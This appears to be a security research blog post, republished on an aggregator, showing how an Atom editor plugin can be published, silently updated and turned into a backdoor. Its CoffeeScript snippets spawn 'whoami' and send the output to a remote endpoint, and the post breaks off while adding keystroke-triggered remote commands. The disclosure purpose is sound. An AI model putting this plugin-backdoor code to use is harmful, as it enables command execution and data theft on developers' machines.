Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

All your devs are belong to us: how to backdoor the Atom editor


This is the first in a series of posts highlighting some of the work we put into our recent Blackhat 2017 talk .We'll be digging into our findings, and adding a bit of substance to the ideas presented by Marco and Haroon in Vegas.

In this post we'll be looking at ways to compromise your developers that you probably aren't defending against, by exploiting the plugins in their editors. We will therefore be exploring Atom , Atom plugins, how they work and the security shortfalls they expose.


Targeting developers seems like a good idea (targeting sysadmins is so 2014 ). If we can target them through a channel that you probably aren't auditing, thats even better!

Background We all need some type of editor in our lives to be able to do the work that we do.But, when it comes to choosing an editor, everyone has their own views.Some prefer the modern editors like Atom or Sublime , while others are more die-hard/ old school and prefer to stick to Vim or Emacs.Whatever you chose, you'll most likely want to customize it in some way ( if not, I am not sure I can trust you as a person let alone a developer


Plugins and Extensions on modern editors are robust. Aside from cosmetic customization (font, color scheme, etc) they also allow you a range of functionality to make your life easier: from autocomplete andlinters to minimaps, beautifiers and git integration, you should be able to find a plugin that suits your needs. If you don't, you can just create and publish one.

Other users will download new plugins to suit their needs, continuously adding to their ever growing list of them (because who has the time to go back and delete old unused plugins?) Many editors support automatic updates to ensure that any bugs are fixed and new features are enjoyed immediately.

For this post I'll focus specifically on Atom, Github's shiny new editor. According to their site it's a " hackable text editor for the 21st century " ( heh! ). Atom's user base is continuously growing, along with their vast selection of packages. You can even install Atom on your Chromebook with a few hacks , which bypasses the basic security model on ChromeOS.

The Goal

I was tasked with exploring the extent of damage that a malicious Atom plugin could do.We weren't sure what obstacles we'd face or what security measures were in place to stop us being evil.It turns out there were none... within a couple hours I had not only published my first app, but had updated it to include a little bit of malicious code too.

The plan was simple:

Step One: Get a simple package (plugin) published

What was required and how difficult would it be (do we need our app to be vetted)?

Step Two: Test the update process

If you were going to create a malicious package you'd first create a useful non-malicious one that would create a large user base and then push an update that would inject the unsavory code.

Step Three: Actually test what we could achieve from within an Atom package

We'd need to determine if there was any form of sandboxing, what libraries we'd have access to, etc. Hello Plugin

Step One

This was trivially simple.There are lots of guides to creating and publishing packages for Atom out there, including a detailed one on their site


Generate a new package:

cmd + shift + p Package Generator: Generate Package

This will give you a package with a simple toggle method that we will use later:

toggle: -> console.log 'touch-type-teacher was toggled!'

Push the code to a Git repo:

git init git add . git commit -m "First commit" git remote add origin <remote_repo_url> git push -u origin master

Publish your Atom package

apm-beta publish minor

Step Two

This was even easier seeing as the initial setup was complete:

Make a change:

toggle: -> console.log 'touch-type-teacher was toggled!' console.log 'update test'

Push it to Github:

git commit -a -m 'Add console logging' git push

Publish the new version:

apm-beta publish minor

So that's step one and two done, showing how easy it is to publish and update your package.The next step was to see what could actually be done with your package.

That seems like a reasonable request

Step Three

Seeing as packages are built on node.js, the initial test was to see what modules we had access to.

The request package seemed a good place to start as it would allow us to get data off the user's machine and into our hands.

Some quick digging found that it was easy to add a dependency to our package:

npm install --save request@2.73.0 apm install

Import this in our code:

request = require 'request'

Update our code to post some data to our remote endpoint:

toggle: -> request 'http://my-remote-endpoint.com/run?data=test_data', (error, response, body) =>

console.log 'Data sent!'

With this, our package will happily send information to us whenever toggled.

Now that we have a way to get information out, we needed to see what kind of information we had access to.

Hi, my name is...

Let's change our toggle function to try and get the current user and post that:

toggle: -> {spawn} = require 'child_process' test = spawn 'whoami' test.stdout.on 'data', (data) -> request 'http://my-remote-endpoint.com/run?data='+data.toString().trim(), (error, response, body) =>

console.log 'Output sent!'

This actually worked too... meaning we had the ability to run commands on the user's machine and then extract the output from them if needed.

At this point we had enough information to write it up, but we took it a little further (just for kicks).

Simon Says

Instead of hardcoding commands into our code, let's send it commands to run dynamically!While we are at it, instead of only firing on toggling of our package, let's fire whenever a key is pressed.

First we'll need to hook onto the onChange event of the current editor:

module.exports = TouchTypeTeacher = touchTypeTeacherView: null modalPanel: null subscriptions: null editor: null activate: (state) -> @touchTypeTeacherView = new TouchTypeTeacherView(state.touchTypeTeacherViewState) @modalPanel = atom.workspace.addModalPanel(item: @touchTypeTeacherView.getElement(), visible: false) @editor = atom.workspace.get

Viewing all articles
Browse latest Browse all 12749

Latest Images

Trending Articles

Latest Images